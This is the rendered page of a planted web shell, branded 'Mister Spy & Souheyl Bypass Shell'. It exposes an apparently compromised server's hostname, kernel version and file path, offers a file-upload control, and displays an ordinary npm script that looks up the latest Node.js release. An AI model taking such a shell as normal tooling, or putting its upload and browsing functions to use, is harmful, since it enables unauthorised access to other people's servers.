Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /proc/thread-self/root/usr/share/npm/lib/doctor/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : //proc/thread-self/root/usr/share/npm/lib/doctor/get-latest-nodejs-version.js

var log = require('npmlog')
var request = require('request')
var semver = require('semver')

function getLatestNodejsVersion (url, cb) {
  var tracker = log.newItem('getLatestNodejsVersion', 1)
  tracker.info('getLatestNodejsVersion', 'Getting Node.js release information')
  var version = 'v0.0.0'
  url = url || 'https://nodejs.org/dist/index.json'
  request(url, function (e, res, index) {
    tracker.finish()
    if (e) return cb(e)
    if (res.statusCode !== 200) {
      return cb(new Error('Status not 200, ' + res.statusCode))
    }
    try {
      JSON.parse(index).forEach(function (item) {
        if (item.lts && semver.gt(item.version, version)) version = item.version
      })
      cb(null, version)
    } catch (e) {
      cb(e)
    }
  })
}

module.exports = getLatestNodejsVersion

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net